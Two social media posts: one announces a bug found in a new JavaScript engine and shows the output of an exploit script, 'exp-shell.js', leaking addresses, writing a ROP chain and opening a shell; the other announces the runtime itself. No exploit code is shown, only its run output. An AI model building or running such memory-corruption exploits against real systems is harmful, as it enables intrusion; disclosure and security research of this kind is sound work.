itszn

itszn

@itszn13 · Twitter ·

New JS engine, old JS vulns :) Found a bug and wrote an exploit in 8 hours 645da364a8089c43953b345d3004fc76148cb2f136f74e211429ddc8452846d1 exp-shell.js ./mqjs ./exp-shell.js LEAKED: 77b6 1c5ff205 LIBC BASE: 77b6 1d600000 STACK PTR: 7ffd 143e1bb8 WROTE ROP CHAIN $ whoami nyan

Theo - t3.gg

Theo - t3.gg

New JS runtime just dropped by Fabrice (guy who made ffmpeg, QEMU and QuickJS)

Quoted post media